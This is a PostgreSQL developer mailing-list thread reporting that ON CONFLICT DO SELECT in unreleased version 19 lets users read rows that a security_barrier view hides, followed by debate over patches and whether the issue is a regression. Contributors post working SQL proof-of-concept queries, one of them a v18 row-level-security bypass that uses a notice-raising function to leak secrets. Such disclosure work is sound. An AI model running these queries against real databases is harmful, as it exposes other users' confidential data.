ON CONFLICT DO SELECT returns rows hidden by a view
Hi hackers,
In 19, a user with only INSERT and SELECT on a security_barrier view can
read rows that the view hides, with ON CONFLICT DO SELECT. Before 19 that
user had no way to reach a hidden row, because DO UPDATE needs UPDATE.
create view my_log with (security_barrier) as
select * from documents where owner = current_user;
grant select, insert on my_log to alice;
-- as alice, row 1 belongs to bob
insert into my_log (id, title) values (1, '')
on conflict (id) do select returning *;
id | owner | title | body
----+-------+---------------+----------------------
1 | bob | salary review | bob 180k, alice 120k
With generate_series as the source and a rollback at the end, this reads
the whole table. WITH CHECK OPTION does not help, since nothing is
written. RLS is not affected, ExecOnConflictSelect() checks the existing
row against the SELECT policies.
The docs have the pieces. insert.sgml says DO SELECT needs only SELECT,
and create_view.sgml says it "may similarly affect an existing row not
visible through the view". They do not say that the row is returned, and
the security_barrier section in rules.sgml does not mention ON CONFLICT
at all. The create_view.sgml sentence was added as a doc fix during
review [1]/messages/by-id/d631b406-13b7-433e-8c0b-c6040c4b4663@Spark, and I could not find any discussion of the new exposure for
users without UPDATE.
I see two ways to go. Keep the behavior and say it plainly in the
security_barrier docs. Or check the existing row against the
view's quals in DO SELECT, the same way RLS does, and raise an error when
the row is hidden. I have a draft patch for the second, for views with a
check option.
Which way do people prefer? If it is the second, should it be a 19 open
item?
[1]: /messages/by-id/d631b406-13b7-433e-8c0b-c6040c4b4663@Spark
Regards,
Shihao Zhong
On Fri, 25 Sept 2026 at 09:45, shihao zhong <zhong950419@gmail.com> wrote:
Hi hackers,
In 19, a user with only INSERT and SELECT on a security_barrier view can
read rows that the view hides, with ON CONFLICT DO SELECT. Before 19 that
user had no way to reach a hidden row, because DO UPDATE needs UPDATE.create view my_log with (security_barrier) as
select * from documents where owner = current_user;
grant select, insert on my_log to alice;-- as alice, row 1 belongs to bob
insert into my_log (id, title) values (1, '')
on conflict (id) do select returning *;
id | owner | title | body
----+-------+---------------+----------------------
1 | bob | salary review | bob 180k, alice 120kWith generate_series as the source and a rollback at the end, this reads
the whole table. WITH CHECK OPTION does not help, since nothing is
written. RLS is not affected, ExecOnConflictSelect() checks the existing
row against the SELECT policies.The docs have the pieces. insert.sgml says DO SELECT needs only SELECT,
and create_view.sgml says it "may similarly affect an existing row not
visible through the view". They do not say that the row is returned, and
the security_barrier section in rules.sgml does not mention ON CONFLICT
at all. The create_view.sgml sentence was added as a doc fix during
review [1], and I could not find any discussion of the new exposure for
users without UPDATE.I see two ways to go. Keep the behavior and say it plainly in the
security_barrier docs. Or check the existing row against the
view's quals in DO SELECT, the same way RLS does, and raise an error when
the row is hidden. I have a draft patch for the second, for views with a
check option.Which way do people prefer? If it is the second, should it be a 19 open
item?[1] /messages/by-id/d631b406-13b7-433e-8c0b-c6040c4b4663@Spark
Regards,
Shihao Zhong
I think that retrieving rows that configured to be unretrievable (in
< v19) is a regression and this needs both fix and being listed as
Open Item
--
Best regards,
Kirill Reshke
On 25 Sep 2026 at 12:48 +0200, Kirill Reshke <reshkekirill@gmail.com>, wrote:
On Fri, 25 Sept 2026 at 09:45, shihao zhong <zhong950419@gmail.com> wrote:
Hi hackers,
In 19, a user with only INSERT and SELECT on a security_barrier view can
read rows that the view hides, with ON CONFLICT DO SELECT. Before 19 that
user had no way to reach a hidden row, because DO UPDATE needs UPDATE.create view my_log with (security_barrier) as
select * from documents where owner = current_user;
grant select, insert on my_log to alice;-- as alice, row 1 belongs to bob
insert into my_log (id, title) values (1, '')
on conflict (id) do select returning *;
id | owner | title | body
----+-------+---------------+----------------------
1 | bob | salary review | bob 180k, alice 120kWith generate_series as the source and a rollback at the end, this reads
the whole table. WITH CHECK OPTION does not help, since nothing is
written. RLS is not affected, ExecOnConflictSelect() checks the existing
row against the SELECT policies.The docs have the pieces. insert.sgml says DO SELECT needs only SELECT,
and create_view.sgml says it "may similarly affect an existing row not
visible through the view". They do not say that the row is returned, and
the security_barrier section in rules.sgml does not mention ON CONFLICT
at all. The create_view.sgml sentence was added as a doc fix during
review [1], and I could not find any discussion of the new exposure for
users without UPDATE.I see two ways to go. Keep the behavior and say it plainly in the
security_barrier docs. Or check the existing row against the
view's quals in DO SELECT, the same way RLS does, and raise an error when
the row is hidden. I have a draft patch for the second, for views with a
check option.Which way do people prefer? If it is the second, should it be a 19 open
item?[1] /messages/by-id/d631b406-13b7-433e-8c0b-c6040c4b4663@Spark
Regards,
Shihao ZhongI think that retrieving rows that configured to be unretrievable (in
< v19) is a regression and this needs both fix and being listed as
Open Item--
Best regards,
Kirill Reshke
Well spotted Shihao. I agree with Kirill that this has to be fixed before release, a doc fix is not enough.
Please share your patch Shihao. I should be able to review within a week.
/Viktor Holmberg
On 25 Sep 2026 at 15:53 +0200, Viktor Holmberg <v@viktorh.net>, wrote:
On 25 Sep 2026 at 12:48 +0200, Kirill Reshke <reshkekirill@gmail.com>, wrote:
On Fri, 25 Sept 2026 at 09:45, shihao zhong <zhong950419@gmail.com> wrote:
Hi hackers,
In 19, a user with only INSERT and SELECT on a security_barrier view can
read rows that the view hides, with ON CONFLICT DO SELECT. Before 19 that
user had no way to reach a hidden row, because DO UPDATE needs UPDATE.create view my_log with (security_barrier) as
select * from documents where owner = current_user;
grant select, insert on my_log to alice;-- as alice, row 1 belongs to bob
insert into my_log (id, title) values (1, '')
on conflict (id) do select returning *;
id | owner | title | body
----+-------+---------------+----------------------
1 | bob | salary review | bob 180k, alice 120kWith generate_series as the source and a rollback at the end, this reads
the whole table. WITH CHECK OPTION does not help, since nothing is
written. RLS is not affected, ExecOnConflictSelect() checks the existing
row against the SELECT policies.The docs have the pieces. insert.sgml says DO SELECT needs only SELECT,
and create_view.sgml says it "may similarly affect an existing row not
visible through the view". They do not say that the row is returned, and
the security_barrier section in rules.sgml does not mention ON CONFLICT
at all. The create_view.sgml sentence was added as a doc fix during
review [1], and I could not find any discussion of the new exposure for
users without UPDATE.I see two ways to go. Keep the behavior and say it plainly in the
security_barrier docs. Or check the existing row against the
view's quals in DO SELECT, the same way RLS does, and raise an error when
the row is hidden. I have a draft patch for the second, for views with a
check option.Which way do people prefer? If it is the second, should it be a 19 open
item?[1] /messages/by-id/d631b406-13b7-433e-8c0b-c6040c4b4663@Spark
Regards,
Shihao ZhongI think that retrieving rows that configured to be unretrievable (in
< v19) is a regression and this needs both fix and being listed as
Open Item--
Best regards,
Kirill ReshkeWell spotted Shihao. I agree with Kirill that this has to be fixed before release, a doc fix is not enough.
Please share your patch Shihao. I should be able to review within a week./Viktor Holmberg
Looking a bit more into this. Although I’m not sure it’s the same root cause, using the WHERE clause of ON CONFLICT DO UPDATE (or SELECT) allows you to bypass RLS in version 18, and probably earlier versions as well:
----------------------------------
begin;
create role alice;
create table t (id int primary key, owner name, secret text);
insert into t values
(1, 'bob', 'bob is paid 180k'), -- alice must NOT be able to read these
(2, 'alice', 'alice owns this'),
(3, 'bob', 'bob bonus 40k');
alter table t enable row level security;
create policy self on t for all to alice
using (owner = current_user) with check (owner = current_user);
grant select, insert, update on t to alice;
create function peek(text) returns bool language plpgsql as
$$ begin raise notice 'LEAKED: %', $1; return true; end $$;
grant execute on function peek(text) to alice;
set role alice;
\echo '--- What RLS lets alice see (only her own row):'
select * from t;
\echo '--- The attack (alice has only INSERT + UPDATE, writes nothing):'
insert into t (id, owner)
select id, 'alice' from generate_series(1, 3) as id
on conflict (id) do update set secret = t.secret
where not peek(t.secret) -- peek() reads the hidden row; NOT skips the
returning id; -- update so the RLS check never aborts us
----------------------------------
But you could argue that the addition of DO SELECT makes this a bit worse, as now the “attack” can happen with just SELECT+INSERT privileges (as opposed to SELECT + INSERT + UPDATE in <19).
Hello!
I don't think issues like this should be discussed on hackers (or even the initial issue in this thread), it's more suited for security@
On Fri, 25 Sept 2026 at 21:00, Zsolt Parragi <zsolt.parragi@percona.com> wrote:
Hello!
I don't think issues like this should be discussed on hackers (or even
the initial issue in this thread), it's more suited for security@
It's about an unreleased version, what's wrong?
--
Best regards,
Kirill Reshke
On Fri, 25 Sept 2026 at 14:52, Viktor Holmberg <v@viktorh.net> wrote:
On 25 Sep 2026 at 12:48 +0200, Kirill Reshke <reshkekirill@gmail.com>, wrote:
On Fri, 25 Sept 2026 at 09:45, shihao zhong <zhong950419@gmail.com> wrote:
In 19, a user with only INSERT and SELECT on a security_barrier view can
read rows that the view hides, with ON CONFLICT DO SELECT. Before 19 that
user had no way to reach a hidden row, because DO UPDATE needs UPDATE.I see two ways to go. Keep the behavior and say it plainly in the
security_barrier docs. Or check the existing row against the
view's quals in DO SELECT, the same way RLS does, and raise an error when
the row is hidden. I have a draft patch for the second, for views with a
check option.Which way do people prefer? If it is the second, should it be a 19 open
item?Well spotted Shihao. I agree with Kirill that this has to be fixed before release, a doc fix is not enough.
Please share your patch Shihao. I should be able to review within a week.
Given the timing, I think we should just reject INSERT ... ON CONFLICT
DO SELECT on a security-barrier view with a "feature not supported"
error.
That particular combination of features is probably not that common,
so it doesn't detract too much from the utility of ON CONFLICT DO
SELECT, and that will give more time to consider the issue properly
for v20, if we want.
Regards,
Dean
On Sat, 26 Sept 2026 at 15:10, Dean Rasheed <dean.a.rasheed@gmail.com> wrote:
On Fri, 25 Sept 2026 at 14:52, Viktor Holmberg <v@viktorh.net> wrote:
On 25 Sep 2026 at 12:48 +0200, Kirill Reshke <reshkekirill@gmail.com>, wrote:
On Fri, 25 Sept 2026 at 09:45, shihao zhong <zhong950419@gmail.com> wrote:
In 19, a user with only INSERT and SELECT on a security_barrier view can
read rows that the view hides, with ON CONFLICT DO SELECT. Before 19 that
user had no way to reach a hidden row, because DO UPDATE needs UPDATE.I see two ways to go. Keep the behavior and say it plainly in the
security_barrier docs. Or check the existing row against the
view's quals in DO SELECT, the same way RLS does, and raise an error when
the row is hidden. I have a draft patch for the second, for views with a
check option.Which way do people prefer? If it is the second, should it be a 19 open
item?Well spotted Shihao. I agree with Kirill that this has to be fixed before release, a doc fix is not enough.
Please share your patch Shihao. I should be able to review within a week.Given the timing, I think we should just reject INSERT ... ON CONFLICT
DO SELECT on a security-barrier view with a "feature not supported"
error.That particular combination of features is probably not that common,
so it doesn't detract too much from the utility of ON CONFLICT DO
SELECT, and that will give more time to consider the issue properly
for v20, if we want.Regards,
Dean
I think this patch works for sec barrier views.
But also, looks like with INSERT ON CONFLICT SELECT user now (with and
without v1 patch) access data it would otherwise unable to:
```
reshke=# create view vhs AS select * from t where i = 2;
CREATE VIEW
reshke=# grant select, insert on vhs to intruder ;
GRANT
reshke=# set role intruder ;
SET
reshke=> table t;
ERROR: permission denied for table t
reshke=> insert into vhs values(1) on conflict(i) do select returning *;
i
---
1
(1 row)
INSERT 0 1
```
So, on pg < 19 there is no way to retrieve i = 1 row from relation,
and with pg19 there is a way. Not sure if we should guarantee
something for non-sec-barrier views.
Is that an issue?
--
Best regards,
Kirill Reshke
On Sat, Sep 26, 2026 at 8:26 PM Kirill Reshke <reshkekirill@gmail.com> wrote:
But also, looks like with INSERT ON CONFLICT SELECT user now (with and
without v1 patch) access data it would otherwise unable to:```
reshke=# create view vhs AS select * from t where i = 2;
CREATE VIEW
reshke=# grant select, insert on vhs to intruder ;
GRANT
reshke=# set role intruder ;
SET
reshke=> table t;
ERROR: permission denied for table t
reshke=> insert into vhs values(1) on conflict(i) do select returning *;
i
---
1
(1 row)INSERT 0 1
```
So, on pg < 19 there is no way to retrieve i = 1 row from relation,
and with pg19 there is a way. Not sure if we should guarantee
something for non-sec-barrier views.Is that an issue?
Hi.
In pg < 19, we can use ON CONFLICT DO UPDATE retrieve all the
information where i = 1, see the producer below.
I think the last query you provided (insert into vhs values(1) on
conflict(i) do select returning *;) works as expected.
See https://www.postgresql.org/docs/current/rules-privileges.html
"""
This means that, except for security invoker views, users only need
the required privileges for the tables/views that are explicitly named
in their queries.
"""
Full producer follows.
-----------------------------
grant all on schema public to public;
create table t as select g as i, g as b from generate_series(1, 10) g;
create view vhs AS select * from t where i = 2;
create view vhssv with (security_invoker = true) AS select * from t where i = 3;
create role intruder login NOSUPERUSER;
grant select, insert, update on vhs to intruder;
alter table t add PRIMARY key(i);
set session authorization intruder;
table t;
table vhs;
begin;
insert into vhs values(1) on conflict(i) do update set i = 1, b = 11
returning *, old, new;
rollback;
begin;
insert into vhssv values(1) on conflict(i) do select returning *;
-- insert into vhssv values(1) on conflict(i) do update set i = 1, b =
11 returning *, old, new;
rollback;
-----------------------------